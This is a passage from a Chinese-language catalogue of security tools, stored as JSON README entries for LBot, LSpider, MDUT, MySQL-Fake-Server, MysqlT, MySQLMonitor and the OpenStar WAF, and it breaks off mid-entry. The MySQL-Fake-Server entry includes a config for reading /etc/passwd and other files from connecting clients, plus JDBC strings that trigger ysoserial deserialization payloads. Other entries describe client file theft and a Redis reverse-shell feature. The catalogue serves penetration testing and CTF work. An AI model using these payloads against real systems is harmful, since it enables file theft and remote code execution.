    "content": "## LBot <https://github.com/knownsec/LBot>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-LoRexxar@knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/LBot.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20200921-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nLBot的基础模型是脱胎于LSpider诞生的多线程任务调度模型。\n\n主要是用于方便的写一个xss的bot程序。\n\n使用者可以简单的修改其逻辑以及配置环境，即可获得一个简单的xss的bot程序。由于原型来自于爬虫程序，所以只要前端有一定的频率限制，后端很难出现问题，比较稳定。\n\n# install\n\n## 下载Lbot\n\n```\ngit clone https://github.com/knownsec/LBot.git\n```\n\n## 修改配置文件\n\n```\ncp LBot/settings.py.bak LBot/settings.py\n```\n\n并配置其中相关的mysql配置\n\n```\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.mysql',\n        'NAME': 'disable',\n        'USER': 'root',\n        'PASSWORD': '',\n        'HOST': '127.0.0.1',\n        'PORT': '3306',\n        'OPTIONS': {\n            'init_command': 'SET default_storage_engine=INNODB;SET NAMES utf8mb4',\n            'charset': 'utf8mb4',\n        },\n        'TEST': {\n            'CHARSET': 'utf8',\n            'COLLATION': 'utf8_general_ci',\n        },\n    }\n}\n```\n## 配置环境\n\n```\npython3 -m pip install django\n```\n\n如果mysqlclient无法安装，还需要提前安装\n\n```\nsudo apt-get install libmysqlclient-dev\n```\n\n## 同步数据库配置\n\n```\npython3 manage.py makemigrations\npython3 manage.py migrate\n```\n\n## 配置chrome headless\n\n```\nsudo wget http://www.linuxidc.com/files/repo/google-chrome.list -P /etc/apt/sources.list.d/\n\nwget -q -O - https://dl.google.com/linux/linux_signing_key.pub  | sudo apt-key add -\n\nsudo apt-get update\n\nsudo apt-get install google-chrome-stable\n```\n\n看一下chrome的版本\n\n```bash\nlorexxar@instance-1:~/lorexxar/lspider/LSpider$ google-chrome --version\nGoogle Chrome 81.0.4044.138 \n```\n\n去官网下载对应版本的webdriver放在bin目录下\n\n```\nhttps://chromedriver.chromium.org/downloads\n```\n\n修改名字\n```bash\nmv bin/chromedriver bin/chromedriver_linux64\n\n```\n\n## 针对守护的xss题目魔改bot程序\n\n主流的xss bot守护方式一共有两种，一种是依靠cookie或者ip限制bot访问，另一种是通过登录账号模拟管理员的bot。\n\n```\n# Bot admin pass\nCTF_BACK_USER = 'admin'\nCTF_BACK_PASS = 'adminsecretpass'\nCTF_BACK_COOKIE = \"s3cr3t_k3y_f0r_4dmin\"\n```\n\n如果是依赖cookie的需要设置HOME_PAGE\n```\n# homepage\n\nHOME_PAGE = \"http://127.0.0.1/index.php\"\n```\n\n核心bot部分主要在`Botend\\views.py` function `LBotCore`\n\n```\n    reportt = ReportTask.objects.filter(aread=0).first()\n    \n    if not reportt:\n        continue\n    \n    # 任务锁\n    reportt.aread = 1\n    reportt.save()\n    \n    # cookie 方式\n    report_url = reportt.url\n    cookies = \"admin=\"+CTF_BACK_COOKIE\n    \n    self.req = LReq(is_chrome=True)\n    \n    # 访问目标\n    self.req.get(report_url, 'RespByChrome', 0, cookies)\n\n```\n\n\n# usage\n\n```\npython3 manage.py LBotCoreBackend\n```\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/LSpider.md",
    "content": "## LSpider <https://github.com/knownsec/LSpider>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-LoRexxar-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/LSpider.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.2-red)\n![Time](https://img.shields.io/badge/Join-20200821-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n# LSpider\n\nLSpider - 一个为被动扫描器定制的前端爬虫\n\n# 什么是LSpider?\n\n一款为被动扫描器而生的前端爬虫~\n\n由Chrome Headless、LSpider主控、Mysql数据库、RabbitMQ、被动扫描器5部分组合而成。\n\n(1) 建立在Chrome Headless基础上，将模拟点击和触发事件作为核心原理，通过设置代理将流量导出到被动扫描器。\n\n(2) 通过内置任务+子域名api来进行发散式的爬取，目的经可能的触发对应目标域的流量。\n\n(3) 通过RabbitMQ来进行任务管理，支持大量线程同时任务。\n\n(4) 智能填充表单，提交表单等。\n\n(5) 通过一些方式智能判断登录框，并反馈给使用者，使用者可以通过添加cookie的方式来完成登录。\n\n(6) 定制了相应的Webhook接口，以供Webhook统计发送到微信。\n\n(7) 内置了Hackerone、bugcrowd爬虫，提供账号的情况下可以一键获取某个目标的所有范围。\n\n### 为什么选择LSpider?\n\nLSpider是专门为被动扫描器定制的爬虫，许多功能都是为被动扫描器而服务的。\n\n建立在RabbitMQ的任务管理系统相当稳定，可以长期在无人监管的情况下进行发散式的爬取。\n\n### LSpider的最佳实践是什么？\n\n**服务器1（2c4g以上）**: Nginx + Mysql + Mysql管理界面（phpmyadmin）\n\n将被动扫描器的输出位置设置为web路径下，这样可以通过Web同时管理结果以及任务。\n\nLSpider部署5线程以上，设置代理连接被动扫描器（被动扫描器可以设置专门的漏扫代理）\n\n**服务器2**（非必要，但如果部署在服务器1，那么就需要更好的配置）：RabbitMQ\n\n### 还有什么问题？\n\nLSpider从设计之初是为了配合像xray这种被动扫描器而诞生的，但可惜的是，在工具发展的过程中，深刻认识到爬虫是无法和被动扫描器拆分开来的。\n\n强行将应该在被动扫描器实现的功能在爬虫端实现简直是舍本逐末，所以我们发起了另一个被动扫描器项目，如果有机会，后续还会开源出来给大家。\n\n### 设计思路？\n\n[为被动扫描器量身打造一款爬虫-LSpider](https://lorexxar.cn/2021/01/28/lspider-design/)\n\n# Usage\n\n[安装&使用](https://github.com/knownsec/LSpider/blob/master/docs/init.md)\n\n你可以通过下面的命令来测试是否安装成功\n\n```\npython3 manage.py SpiderCoreBackendStart --test\n```\n\n通过dockerfile安装（不推荐的安装模式）\n```\ncd ./docker\n\ndocker-compose up -d\n```\n\n[dockerfile 安装&使用](https://github.com/knownsec/LSpider/blob/master/docker/readme.md)\n\n**使用dockerfile安装，推荐修改其中必要的配置信息以避免安全漏洞诞生。**\n\n**值得注意的是，以下脚本可能会涉及到项目路径影响，使用前请修改相应的配置**\n\n建议配合screen来挂起进程\n\n启动LSpider webhook 与漏洞展示页面（默认端口2062）\n\n```\n./lspider_webhook.sh\n```\n\n启动LSpider\n```\n./lspider_start.sh\n```\n\n完全关闭LSpider\n```\n./lspider_stop.sh\n```\n\n启动被动扫描器\n```\n./xray.sh\n```\n\n# 一些关键的配置\n\n[配置说明](https://github.com/knownsec/LSpider/blob/master/docs/config.md)\n\n# 如何配置扫描任务 以及 其他的配置相关\n\n其中包含了如何配置扫描任务、鉴权信息、webhook。\n\n值得注意的是，文中提到的Cookie配置，格式为浏览器请求包复制即可。\n\n[如何配置扫描任务 以及 其他的配置相关](https://github.com/knownsec/LSpider/blob/master/docs/manage.md)\n\n扫描器结果输出到配置文件相同目录（默认为vuls/）,则可以通过web界面访问。\n\n![](https://github.com/knownsec/LSpider/raw/master/docs/6.png)\n\n# 使用内置的hackerone、bugcrowd爬虫获取目标\n\n使用hackerone爬虫，你需要首先配置好hackerone账号\n```\n python3 .\\manage.py HackeroneSpider {appname}\n```\n![](https://github.com/knownsec/LSpider/raw/master/docs/4.png)\n\n同理，bugcrowd使用\n```\n python3 .\\manage.py BugcrowdSpider {appname}\n```\n\n![](https://github.com/knownsec/LSpider/raw/master/docs/5.png)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-01-28 发布文章[《为被动扫描器量身打造一款爬虫 - LSpider》](https://paper.seebug.org/1473/)\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/MDUT.md",
    "content": "## MDUT <https://github.com/SafeGroceryStore/MDUT>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-Ch1ngg-orange)\n![GitHub stars](https://img.shields.io/github/stars/SafeGroceryStore/MDUT.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.1-red)\n![Time](https://img.shields.io/badge/Join-20210702-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nMDUT 全称 Multiple Database Utilization Tools，是一款中文的数据库跨平台利用工具，集合了多种主流的数据库类型。基于前人 SQLTOOLS 的基础开发了这套程序(向 SQLTOOLS 致敬)，旨在将常见的数据库利用手段集合在一个程序中，打破各种数据库利用工具需要各种环境导致使用相当不便的隔阂。此外工具以 JAVAFx 作为 GUI 操作界面，界面美观。同时程序还支持多数据库同时操作，每种数据库都相互独立，极大方便了网络安全工作者的使用。\n\n## 截图\n![image.png](https://i.loli.net/2021/05/11/c1M6YqZNAOnjmfp.png)\n\n## 目录结构\n```\n.\n├── CHANGELOG.md\n├── MDAT-DEV // MDUT 源码\n├── MDUTSqlKit\n│   └── MDATKit.zip // CLR 源码\n├── README.md\n├── README_ZH.md\n├── redis-cus-rogue.py // Redis 主从脚本\n├── ShellUtil.java // Oracle JAVA 脚本\n└── FileUtil.java  // Oracle JAVA 脚本\n\n```\n\n## TODO\n1. HTTP Tunnel\n\n## 致谢\n[j1anFen](https://jianfensec.com/) / [冰蝎](https://github.com/rebeyond/Behinder) / [ODAT](https://github.com/quentinhardy/odat) / [MSDAT](https://github.com/quentinhardy/msdat) / SQLTOOLS - 深度撞击\n / [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) / [WarSQLKit](https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v2.1.1] - 2022-06-22\n\n**核心**  \n- 优化逻辑代码  \n- 更改用户协议窗口  \n- 重构 Http Tunnel 生成界面  \n\n**Mysql**  \n- 修正 Mysql 某些时候错误不弹窗  \n\n**Mssql**  \n- 将依赖包重新替换为 jTDS (Microsoft 官方驱动太多问题)  \n\n**Oracle**  \n- 增加oracle 单独上传功能  \n\n**Redis**  \n- 优化内部代码  \n- 再次修复 Redis 测试连接错误信息返回连接成功 Bug  \n- 增加反弹shell功能 (不推荐使用影响生产环境)  \n- 修复 Redis 某些时候错误不弹窗  \n- 增强 替换 SSH 公钥 功能\n\n#### [v2.1.0] - 2022-05-24\n\n**核心**  \n- 增加 HTTP 隧道功能(Redis暂不支持)  \n- 优化逻辑代码  \n- 加长默认超时时间  \n\n**Mssql**  \n- 修复下载文件 Bug  \n- 删除获取管理员密码功能  \n- 增加一键恢复所有组件功能   \n- 修正 CLR Hex String  \n\n**Oracle**  \n- 更改 JAVA Util 导入方式  \n- 优化 JAVA ShellUtil 代码  \n\n**Redis**  \n- 添加 slave-read-only 功能\n\n#### [v2.0.8] - 2021-12-01\n\n**核心**  \n- 修复 Mssql 连接 2000 时候的语句兼容性问题  \n- 设置程序默认编码  \n- 删除敏感文件(详细说明情况请看文档里的公告一栏)\n\n#### [v2.0.6] - 2021-08-17\n\n**核心**  \n- 优化内部代码  \n- 删除软件自启更新功能  \n- 优化更新功能界面，增加在线下载更新功能(Github Api)  \n- 后续不再强制要求先下载 v2.0 版，下载即用\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/MySQL-Fake-Server.md",
    "content": "## MySQL-Fake-Server <https://github.com/fnmsd/MySQL_Fake_Server>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-fnmsd-orange)\n![GitHub stars](https://img.shields.io/github/stars/fnmsd/MySQL_Fake_Server.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20211122-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n用于渗透测试过程中的假MySQL服务器，纯原生python3实现，不依赖其它包。\n\n修改自项目 <https://github.com/waldiTM/python-mysqlproto>\n\n## 用途\n\n1. MySQL服务端读取客户端文件漏洞利用\n2. MySQL JDBC客户端Java反序列化漏洞利用\n\n## 说明\n1. 需要python3环境，无任何其它依赖。\n2. 运行：`python server.py`\n3. 需要[ysoserial](https://github.com/frohoff/ysoserial)才能用反序列化功能，支持`ServerStatusDiffInterceptor`和`detectCustomCollations`两种方式。\n4. MySQL的用户名支持冒号、斜杠等特殊符号，但是能否使用还需看具体客户端环境。\n5. 根据 **登录用户名** 返回文件读取利用报文、反序列化利用报文。\n6. **推荐用法：** config.json中预置了一部分配置信息，可以自己修改添加指定用户名对应的读取文件和yso参数，详细看下面的说明\n\n## 测试环境：\n1. jdk1.8.20+mysql-connector-java 8.0.14/5.1.22(Windows下反序列化（JRE8u20）、文件读取)\n2. PHPMyAdmin(Windows+Linux文件读取，可以使用相对路径读取php文件内容)\n3. Navicat 12(Windows下文件读取，需要切换到mysql_clear_password认证插件)\n\n## 使用方法\n默认的config.json:\n\n```json\n{\n     \"config\":{\n        \"ysoserialPath\":\"ysoserial-0.0.6-SNAPSHOT-all.jar\", //YsoSerial位置\n        \"javaBinPath\":\"java\",//java运行命令位置\n        \"fileOutputDir\":\"./fileOutput/\",//读取文件的保存目录\n        \"displayFileContentOnScreen\":true,//是否输出文件内容预览到控制台\n        \"saveToFile\":true//是否保存文件\n    },\n//文件读取参数\n    \"fileread\":{\n        \"win_ini\":\"c:\\\\windows\\\\win.ini\",//key为设定的用户名,value为要读取的文件路径\n        \"win_hosts\":\"c:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts\",\n        \"win\":\"c:\\\\windows\\\\\",\n        \"linux_passwd\":\"/etc/passwd\",\n        \"linux_hosts\":\"/etc/hosts\",\n        \"index_php\":\"index.php\",\n        \"__defaultFiles\":[\"/etc/hosts\",\"c:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts\"]//未知用户名情况下随机选择文件读取\n\n    },\n//ysoserial参数\n    \"yso\":{\n        \"Jdk7u21\":[\"Jdk7u21\",\"calc\"]//key为设定的用户名,value为ysoserial参数的参数\n    }\n}\n```\n\n1. 文件读取：\n\n    - 可以在config.json中fileread节中预定义好要读取的文件(比如win_ini用户名读取win.ini文件)\n    - 可以用fileread_开头的用户名(例如使用用户名fileread\\_/etc/passwd来读取/etc/passwd文件)\n\n2. 反序列化\n    - 可在config.json中yso节预定义好yso payload的生成参数(比如Jdk7u21用户名返回Jdk7u21执行计算器的gadget)\n\n    - 可以用yso_开头的用户名，格式yso\\_payload类型\\_命令（例如jdk7u21调用calc就使用用户名yso\\_Jdk7u21\\_calc）\n\n      jdbc连接串示例：\n      - `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_Jdk7u21_calc`\n      - `jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_URLDNS_http://yourdns.log.addr/`\n\n3. 关于认证：默认认证插件一般使用**mysql_native_password**,但是由于协议实现的问题，navicat下会连接失败，此时在使用的用户名后追加 **_clear** 即可切换为mysql_clear_password,navicat连接成功,读取到文件。\n\n    - **例如：** fileread\\_/etc/passwd_clear\n\n## JDBC连接串整理\n\n写分析的时候整理了一下：<https://www.anquanke.com/post/id/203086>\n用户名请参考上面的说明进行修改。\n\n### ServerStatusDiffInterceptor触发\n\n- **8.x:** `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc`\n\n- **6.x(属性名不同):** `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc`\n\n- **5.1.11及以上的5.x版本（包名没有了cj）:**` jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc`\n\n- **5.1.10及以下的5.1.X版本：** 同上，但是需要连接后执行查询。\n\n- **5.0.x:** 还没有`ServerStatusDiffInterceptor`这个东西┓( ´∀` )┏\n\n### detectCustomCollations触发：\n\n- **5.1.41及以上:** 不可用\n\n- **5.1.29-5.1.40:** `jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc`\n\n- **5.1.28-5.1.19：** `jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc`\n\n- **5.1.18以下的5.1.x版本：** 不可用\n\n- **5.0.x版本不可用** \n\n## 效果\n\nNavicat文件读取（用户名使用win_ini_clear）\n\n![image-20200414150112426](https://github.com/fnmsd/MySQL_Fake_Server/raw/master/README.assets/image-20200414150112426.png)\n\nJDK 1.8.20+mysql-connector-java 8.0.14反序列化，使用用户名：yso_JRE8u20_calc\n\n![image-20200414150417471](https://github.com/fnmsd/MySQL_Fake_Server/raw/master/README.assets/image-20200414150417471.png)\n\n## 踩过的坑\n\n1. SHOW VARIABLES 相关\n   - 会读取两列，所以需要返回两列，否则会报错。\n   - JDBC连接的时候回通过调用`SHOW VARIABLES`获取服务器变量，其中最重要的是两个时区变量`system_time_zone`和`time_zone`，在getObject过程，会调用到时区相关信息，没有这两个会直接报错\n2. jdbc的Blob判定条件除了字段类型为blob，还要求字段声明的org_table字段不为空，flags大于128，否则会被当做text进行解析。（com.mysql.cj.protocol.a.NativeProtocol的findMysqlType方法）\n3. 原python-mysqlproto中的序列检测需要去掉，否则会出错（这个应该是哪里处理有问题导致了序号重置）。\n4. `SHOW SESSION STATUS`和`SHOW COLLATION`的公用列是第二列\n5. mysql java connector 5.x的环境下，需要返回的server版本大于等于5.0.0才会走到`Util.resultSetToMap`进入getObject\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/MySQLMonitor.md",
    "content": "## MySQLMonitor <https://github.com/TheKingOfDuck/MySQLMonitor>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-TheKingOfDuck-orange)\n![GitHub stars](https://img.shields.io/github/stars/TheKingOfDuck/MySQLMonitor.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20201221-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n**MySQLMonitor**: <https://github.com/TheKingOfDuck/MySQLMonitor>\n\n**FileMonitor**: <https://github.com/TheKingOfDuck/FileMonitor>\n\n## MySQLMonitor\n\nMySQL实时监控工具（黑盒测试辅助工具）\n\n## 使用：\n\n```\njava -jar MySQLMonitor.jar -h 127.0.0.1 -user CoolCat -pass mysqlmonitor\n```\n\n![](https://github.com/TheKingOfDuck/MySQLMonitor/raw/master/img/screenshot.png?raw=true)\n\n### 环境：\n在以下环境中运行通过\n\n| OS | JAVA | MySQL | status |\n| --- | --- | --- | --- |\n| MacOS | 1.8 | 8.x | ok |\n\n\n环境下运行通过 \n理论上均可运行 如有问题或修改意见 请点击===>[问题反馈](https://github.com/TheKingOfDuck/MySQLMonitor/issues)\n\n\n## 功能\n\n* 自动开启MySQL日志 实时显示程序执行过的语句\n\n* 自动安装依赖\n\n### 应用场景：\n\n<https://xz.aliyun.com/t/3875>\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/MysqlT.md",
    "content": "## MysqlT <https://github.com/BeichenDream/MysqlT>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-C%23-blue)\n![Author](https://img.shields.io/badge/Author-BeichenDream-orange)\n![GitHub stars](https://img.shields.io/github/stars/BeichenDream/MysqlT.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20210223-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nMysqlT: <https://github.com/BeichenDream/MysqlT>  \nWhetherMysqlSham: <https://github.com/BeichenDream/WhetherMysqlSham>\n\n## MysqlT\n伪造Myslq服务端,并利用Mysql逻辑漏洞来获取客户端的任意文件反击攻击者\n\n当你需要将本地文件上传到服务器时,没有合适的上传器时,也可以使用本软件,小巧玲珑\n\n该程序利用了Mysql客户端LoadData的逻辑漏洞\n\n与其它软件不同,本软件支持大文件无损传输\n\n支持用户验证\n\n支持自定义Mysql版本\n\n随机的Salt加密,加上用户验证,让攻击者毫无察觉\n\nNet文件夹是.NET程序只能运行在Windows\n\nNetCore文件夹是.NET CORE程序可以运行在 Windows,Linux,MAC\n\n使用教程:https://www.bilibili.com/video/av53068648/\n\n首次使用请在程序中输入Mysql Help,来查看帮助命令\n\n\n你可以在程序根目录中的User.data文件,批量添加用户,但用户名不可以重复\n\n你可以在程序根目录中的File.data文件,批量添加读取路径,但路径不可以重复\n\nLogincheck:与MysqlN不同的是MysqlT设置为false,会向客户端发生登录成功\n\n退出程序时,建议使用 App Exit命令,这样会保存当前的配置\n\n本程序命令行的命令不区分大小写,你可以Mysql Help,也可以mysql help 或MYSQL HELP\n\n### 安装教程\n.NET CORE windows以及linux与mac  SDK下载地址:https://dotnet.microsoft.com/download\n\n Linux 64位一键安装SDK:  curl -sSL -o dotnet.tar.gz https://download.visualstudio.microsoft.com/download/pr/ece856bb-de15-4df3-9677-67cc817ffc1b/521da52132d23deae5400b8e19e23691/dotnet-sdk-2.2.204-linux-x64.tar.gz&&sudo mkdir -p /opt/dotnet && sudo tar zxf dotnet.tar.gz -C /opt/dotnet&&sudo ln -s /opt/dotnet/dotnet /usr/local/bin\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/OpenStar.md",
    "content": "## OpenStar <https://github.com/starjun/openstar>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-JS/Python-blue)\n![Author](https://img.shields.io/badge/Author-starjun-orange)\n![GitHub stars](https://img.shields.io/github/stars/starjun/openstar.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20210702-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n欢迎使用 **{OpenStar}(WAF+)**，该项目是从实际需求中产生，经过多次的版本迭代，实属不易。感谢**春哥**，以及[春哥][1]的神器（**[OpenResty][2]**）\n注意：使用版本一定要大于 1.11.0 因为使用了ngx.var.request_id\n**代码写的比较好理解，肯定不优雅  哈~**\n\n个人的一些开发实践，有需要的朋友可以加入下\n![xq][27]\n\n正在更新说明WIKI篇,已经更新了安装篇，请自行查阅。\n\n更新：规则支持方式\n```\n支持并行正则匹配(使用 https://github.com/cloudflare/lua-aho-corasick 实现)\n增加：并行正则(\"aho\") -- 列表\n\"host\":[[\n          \"^www.baidu\",\n          \".*.baidu.com$\"\n        ],\n            \"aho\"\n        ]\n```\n\n更新：规则支持方式\n```\n现有：等于(\"\") 包含(\"in\") 列表(\"list\") 字典(\"dict\") 正则(\"jio|jo|***\")\n增加：开头列表(\"start_list\") -- 以什么什么开头列表\n      不区分大小写 开头列表(\"ustart_list\")\n      结尾列表(\"end_list\")  -- 以什么什么结尾列表\n      不区分大小写 结尾列表(\"uend_list\")\n      包含列表(\"in_list\")   -- 包含的列表形式\n      不区分大小写包含列表(\"uin_list\")  --in_list扩展(不区分大小写)\n      【json 同 list 一样】\n增加：长度(\"len\") [Min,Max] 表示大于等于 Min,且小于等于 Max\nEG：\n\"host\":[[\n          \"www.baidu.\",\n          \"img.baidu.\"\n        ],\n            \"start_list\"\n        ]\n\"referer\":[[0,150],\"len\"]   --- referer 长度 在 0~150 之间\n```\n\n# 非开源版本 【带后台、带 4 层防护模块等...】完全免费！！！\nhttps://www.kancloud.cn/openstar/install/1136671\n\n\n# 变更历史\n\n## 1.7 更新二阶匹配规则支持取反，动作取消next等\n原二阶规则：[\"baidu\",\"in\"],支持取反后：[\"baidu\",\"in\",true];最后的默认是nil也就是false,不取反的意思，所以规则基本可以之间复用，动作为next的需要修改一下即可\n\n## 1.7.1.11 更新规则匹配等于判断表达式支持(\"=\"),post_form支持(\"*\")对所有表单名称进行匹配\n```\n[\"post_form\",[\"(;|-|/)\",\"jio\",[\"*\",2],false]] 对表单所有名称的文件名进行匹配\n\n[\"www.test.com\",\"\"]\n[\"www.test.com\",\"=\"] 新增加表达方式\n\n```\n\n\n## 1.7.1.10 更新支持基于业务属性进行限速的功能\nnetwork_Mod: `\"network\":{\"maxReqs\":30,\"pTime\":10,\"blackTime\":600,\"guid\":\"cookie_userguid\"}`，业务代码ngx.var[%guid%]，实际上是从ngx.var中去值进行限速操作，所以一定要配置正常；这里表示从cookie中名称为userguid的值进行频率统计来限速。默认则是用ip限速\n\n### 1.7.1.1 修改 host_Mod 规则匹配\n目前只有两种规则（app_ext | network） 请参考 conf_json/host_json/101.200.122.200.json\n\n### 1.7.0.24 原规则匹配变更：table-->list;list-->dict\n方便理解list表示序列，dict表示字典。\nEG：\n```\n\"method\":[\n            {\n                \"POST\":true,\n                \"GET\":true\n            },\n            \"dict\" --- 原 list\n        ]\n\"ips\": [[\n            \"101.254.241.149\",\n            \"106.37.236.170\"],\n            \"list\" --- 原 table\n        ]\n```\n\n## 1.6 更新计数count_dict到DB 2,key也进行分开，优化规则缓存\n规则进行了缓存，大幅提高性能，json文件保存进行了美化等......\n\n## 1.5 应一些朋友强烈要求增加Master/Slave模式\n主：定时将内存中的配置推送到redis, 从：定时从redis拉取数据到内存后，并保存到文件\n\n## 1.4 更新命名相关，以多规则匹配\n原来url改成uri，args改成query_string，修改的比较多，还有增加app_Mod实现多规则匹配，连接符支持OR\n\n## 1.3 更新跳转功能，可配置进行set-cookie操作\n可以配置某一个或者多个url使用跳转set-cookie操作。cookie是无状态的。\n\n## 1.2 更新支持拦截外部的csrf\n在referer_Mod处，增加action，`allow`表示允许且后续的规则不用在匹配（一般是静态资源如图片/js/css等），`next`表示白名单匹配成功后，会继续后面的规则匹配（这里就用于拦截外部的CSRF）增加`next`是因为原来代码中，若配置了防护站外的CSRF，后续的规则会bypass,所以增加的，这样就不会出现一些绕过问题。\n**后续的action理论上都支持该语法**\n\n## 1.1 增加app_Mod,丰富allow动作（ip）\n网站的某个目录进行IP白名单的访问控制（后台、phpmyadmin等）\n\n## 0.9 - 1.0 修改了大量全局函数\n在学习完[OpenResty最佳实践][7]后，代码太不专业，修改了大量全局变量、函数\n\n## 0.8 优化一下算法\n原来args是遍历每个参数在连接起来，感觉性能有时有点瓶颈，就使用新api取出url中的所有参数，经过测试效果要比原来好很多。\n\n## 0.7 增加集群版本\n当时大约有2-4台OpenStar服务器用于安全防护，通过脚本进行统一管理的，没有进行真正的统一管理，所以抽空的时候把redis用上。\n\n## 0.6 增加API相关操作\n因为是个蹩脚的程序员（没办法，搞安全的现在都被逼的写代码了；感谢春哥，我在写的过程中非常的快乐，所以就把项目叫做OpenStar[开心]，请勿见笑了）、前端界面我迟迟没有想好，所以先把一下操作的API封装了，也满足当时公司脚本化需求。\n\n## 0.4-0.5 增加配置文件操作\n刚开始都是写在lua代码中，随着功能增加，决定通过配置文件进行操作，所有就使用json方式进行定义配置文件。\n\n## 0.3 增加waf防护模块\n随着cc防护成功后，我陆续增加了waf相关的功能，规则参考了[modsecurity][8]、[loveshell][9]防护模块、以及互联网搜集的一些过滤点\n\n## 0.2 CC防护应用层版\n通过网络层+应用层的防护后，我后续增加了应用层的安全防护，如应用层set cookie、url跳转、js跳转等这样应用层的防护模块\n\n## 0.1 CC防护版\n当时是为了解决公司的CC攻击，由于一些硬件抗D设备在新的网络环境下（有CDN网络下）无法获取用户真实IP头，我才动手将第一个版本完成，当时功能就是有通过自定义HTTP头获取用户真实ip进行访问频率的限制。（OpenStar可以根据某个url进行频率限制，不仅仅是整个网站的[排除静态文件，如设置了referer\\_Mod 或者 url\\_Mod 中资源的allow操作]）\n\n# TOP\n\n[安装篇][3]\n\n[基础配置说明][4] base.json\n\n[STEP 0：realIpFrom_Mod][10]\n\n[STEP 1：ip_Mod][11]\n\n[STEP 2：host_method_Mod][12]\n\n[STEP 